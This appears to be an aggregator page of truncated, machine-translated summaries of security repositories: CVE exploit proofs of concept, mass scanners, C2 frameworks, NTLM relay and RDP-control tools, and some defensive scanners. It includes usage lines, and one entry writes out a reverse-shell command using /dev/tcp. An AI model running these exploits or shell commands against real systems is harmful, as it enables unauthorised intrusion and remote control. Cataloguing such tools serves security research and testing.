CVE-2023-46805_CVE-2024-21887

CVE-2023-46805 Ivanti ICS 9.x, 22.x 및 Ivanti Policy Secure의 웹 구성 요소에서 발견된 인증 우회 취약점으로 인해 원격 공격자가 제어 검사를 우회하여 제한된 리소스에 액세스할 수 있습니다. 사용법: ./CVE-2023-46805.sh https://fqdn:port ./CVE-2023-46805.sh https://my.vpn.ip:443 참고: chmod +x CVE-2023-46805.sh curl 및 jsonpp 애플리케이션 필요 취약할 경우 다음과 같은 결과가 표시됩니다:...

Empire

Empire Empireは、レッドチームとペネトレーションテスターを支援するために使用されるポストエクスプロイテーションおよび敵対者エミュレーションフレームワークです。EmpireサーバーはPython 3で書かれており、オペレーターの柔軟性を可能にするためにモジュール式です。Empireには、サーバーにリモートでアクセスするために使用できるクライアントが組み込まれています。EmpireサーバーにリモートでアクセスするためのGUI、Starkillerも利用可能です。 機能 マルチプレイヤーサポートのためのサーバー/クライアントアーキテクチャ 完全に暗号化された通信...

bugsy

Bugsy Bugsy is a command-line interface CLI tool that provides automatic security vulnerability remediation for your code. It is the community edition version of Mobb, the first vendor-agnostic automated security vulnerability remediation tool. Bugsy is designed to help developers quickly identif...

cwe-tool

cwe-tool OWASP / CAPSEC의 CWECommon Weakness Enumeration 데이터베이스를 기반으로 한 명령줄 CWE 검색 도구입니다. 공식 OWASP CWE 툴킷 페이지 설치 Node.js 도구를 사용한 실행 Node.js 환경이 있다면 npx 도구를 사용하여 cwe-tool을 다음과 같이 호출할 수 있습니다: npx cwe-tool ...command-line options... Docker Docker Hub에서 이미지 가져오기 docker pull lirantal/cwe-tool docker ru...

CVE-2022-30525

CVE-2022-30525 Zyxel 방화벽 명령 주입 취약점 CVE-2022-30525 POC&EXP 작성자:160team.west9B 승인된 상태에서 보안 연구원만 사용하도록 제한됩니다. 사이버 보안법을 준수하십시오. 발생하는 모든 문제에 대한 책임은 사용자 본인에게 있으며 작성자와 무관합니다. 01-기본 소개 2022년 5월 12일, Zyxel合勤은 방화벽 장치에서 인증되지 않은 원격 명령 주입 취약점CVE-2022-30525을 수정하는 보안 공지를 발표했습니다. 이 취약점의 CVSS 점수는 9.8입니다. 이 취약점은 일...

CVE-2024-29973

CVE-2024-29973 PoC 및 대량 스캐너 개요 이것은 CVE-2024-29973에 대한 개념 증명PoC 및 대량 스캐너입니다: Zyxel NAS326 펌웨어 버전 V5.21AAZF.17C0 이전 및 NAS542 펌웨어 버전 V5.21ABAG.14 이전의 명령 주입 취약점. 버전 1.0.2 - 페이로드 메커니즘 수정. 언급해 주신 https://github.com/p0et08/ 님께 감사드립니다. 사용 방법 단일 대상 스캔 단일 대상을 스캔하려면: python cve-2024-29973.py -u target 대량 대상...

CVE-2021-22205

CVE-2021-22205 GitLab이 파일 파서로 전달되는 이미지 파일을 올바르게 검증하지 않아 명령 실행이 발생합니다. 공격자는 악의적인 요청을 구성하여 이 취약점을 이용해 대상 시스템에서 임의의 명령을 실행할 수 있으며, 결국 GitLab 서버가 장악될 수 있습니다. 인터넷에 공개된 대부분의 스크립트에는 리버스 셸reverse shell 기능이 없어서, 공개된 스크립트를 수정하여 원클릭 getshell 기능을 추가했습니다. 영향받는 버전 11.9 = GitLab（CE/EE） 13.8.8 13.9 = GitLab（CE/E...

CVE-2019-3980

CVE-2019-3980 이 저장소는 사용자 지정 C 실행 파일과 함께 Nessus POC를 활용하여 원격 호스트에서 명령을 실행하고 해당 명령의 출력을 가져오기 위해 만들어졌습니다. python 파일은 웹 서버를 시작하고, 익스플로잇을 실행한 다음, 웹 서버를 통해 결과를 가져오는 데 사용됩니다. C exe는 익스플로잇을 통해 대상에 업로드됩니다. 대상에서 실행되면 exe는 지정된 IP/포트로 콜백하여 실행할 명령을 가져옵니다경로는 /cmd. 명령이 완료되면 exe는 출력을 동일한 웹 서버로 보냅니다. 출력 전송은 404를...

TLS-Scanner

TLS-Scanner TLS-Scanner는 침투 테스터와 보안 연구원이 TLS 서버 및 클라이언트 구성을 평가하는 데 도움을 주는 도구입니다. 참고: TLS-Scanner는 TLS 개발자, 침투 테스터, 관리자 및 연구원을 위한 연구 도구입니다. GUI는 없습니다. 첫 번째 버전이며 일부 버그가 있을 수 있습니다. 컴파일 TLS-Scanner를 컴파일하고 사용하려면 다음을 실행해야 합니다: $ cd TLS-Scanner $ git submodule update --init --recursive $ mvn clean packa...

polymorph

Polymorph Polymorph is a tool that facilitates the modification of network traffic on the fly by allowing the execution of Python code on network packets that are intercepted in real time. This framework can be used to modify in real time network packets that implement any publicly specified...

MaccaroniC2

MaccaroniC2 - AsyncSSHを利用したコマンド＆コントロールの強化 MaccaroniC2 は、 概念実証 のコマンド＆コントロールフレームワーク であり、強力なAsyncSSH Pythonライブラリを利用しています。このライブラリはSSHv2プロトコルの非同期クライアントおよびサーバー実装を提供し、ngrok統合用のPyNgrokラッパーも使用しています。このツールは、被害者がAsyncSSHサーバーを実行し、外部へのトンネルを確立して攻撃者からのコマンドを受け取る準備ができているという特定のシナリオに着想を得ています。...

zdns

ZDNS ZDNS는 고속 DNS 리졸버이자 대규모 DNS 측정을 수행하기 위한 명령줄 유틸리티입니다. ZDNS는 Go로 작성되었으며, 자체 재귀적 해석 코드와 다양한 이름 집합의 조회를 최적화하는 캐시를 포함하고 있습니다. 원시 DNS 패킷을 구성하고 파싱하기 위해 https://github.com/zmap/dns를 사용합니다. ZDNS의 아키텍처와 성능에 대한 자세한 내용은 ACM Internet Measurement Conference '22에 발표된 다음 논문을 참조하세요. !TIP ZDNS 위키에는 ZDNS에 대한 추가...

ntlm_relay_gat

NTLM Relay Gat 설명 NTLM Relay Gat은 Impacket 도구 모음에서 ntlmrelayx.py를 사용하여 NTLM 릴레이 공격을 자동화하도록 설계된 강력한 도구입니다. ntlmrelayx.py의 기능을 활용하여 NTLM 릴레이 취약점 악용 과정을 간소화하며, SMB 공유 나열부터 MSSQL 데이터베이스에서 명령 실행에 이르기까지 다양한 기능을 제공합니다. 기능 멀티스레딩 지원 : 여러 스레드를 사용하여 동시에 작업을 수행합니다. SMB 공유 열거 : 사용 가능한 SMB 공유를 나열합니다. SMB 셸 실행 ...

evilrdp

🚩 후원자 이 프로젝트가 마음에 드신다면 GitHub에서 후원을 고려해 주세요! Sponsors EVILRDP - RDP에 대한 더 많은 제어 aardwolfgui의 사악한 쌍둥이로, aardwolf RDP 클라이언트 라이브러리를 사용하여 대상에 대한 확장된 제어와 명령줄에서 추가 스크립팅 기능을 제공합니다. 기능 명령줄에서 마우스와 키보드를 자동으로 제어 명령줄에서 클립보드를 자동으로 제어 클라이언트에서 SOCKS 프록시를 생성하여 RDP를 통해 대상으로 네트워크 통신을 전달 파일을 업로드하지 않고 대상에서 임의의 SHELL...

RedbloodC2

Redblood C2 공개 버전 이것은 세션과 피해자를 처리하기 위한 간단한 명령 및 제어 서버입니다. 설치 $ git clone https://github.com/kira2040k/RedbloodC2.git $ cd RedbloodC2 $ npm install $ node server.js 사용법 Node.js와 npm의 모든 모듈을 설치한 후 실행: node server.js 이제 http://localhost/로 접속하세요. 사용자 이름: admin 비밀번호: admin 기능| 지원 여부 ---|--- FUD 윈도우 리버...

CVE-2022-46169_unauth_remote_code_execution

CVE-2022-46169 - Cacti에서의 인증되지 않은 원격 코드 실행 Cacti 1.2.23 및 1.3.0에서 인증 우회 및 명령 삽입을 통한 인증되지 않은 원격 코드 실행 면책 조항: 이 스크립트는 시스템의 보안을 감사하기 위해 제작되었습니다. 이 스크립트는 본인 소유의 시스템 또는 악용에 대한 서면 허가를 받은 시스템에서만 사용하십시오...

CVE-2024-55963

CVE‑2024‑55963 Appsmith RCE PoC PoC 익스플로잇으로, 취약한 Appsmith 인스턴스에서 임의 명령 실행 또는 리버스 셸을 생성합니다. 이 스크립트는 environmentId 기능이 있는 최신 서버와 그 이전의 "레거시" 빌드를 모두 자동으로 처리하므로, v1.20 부터 마지막 취약 버전인 v1.51 까지의 모든 버전에서 하나의 스크립트로 사용할 수 있습니다. 빠른 시작 임의 명령 실행 기본값은 id python3 appsmith-rce.py https://target.example.com...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 POC 익스플로잇 사용법 usage: exploit.py -h -t TARGET -l LIST -c COMMAND optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET The IP address of the target, eg: 127.0.0.1:9443 -l LIST, --list LIST List of target url saperated with new line -c...

CVE-2024-4577

CVE-2024-4577 usage: CVE-2024-4577.py -h -v RHOST RPORT URL COMMAND PHP CGI CVE-2024-4577 PoC. Reference: https://nvd.nist.gov/vuln/detail/CVE-2024-4577 positional arguments: RHOST remote host RPORT remote port URL target address COMMAND command to execute e.g. optional arguments: -h, --help show...

CVE-2009-4623

고급 댓글 시스템 1.0 - 원격 명령 실행 RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 예제 python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...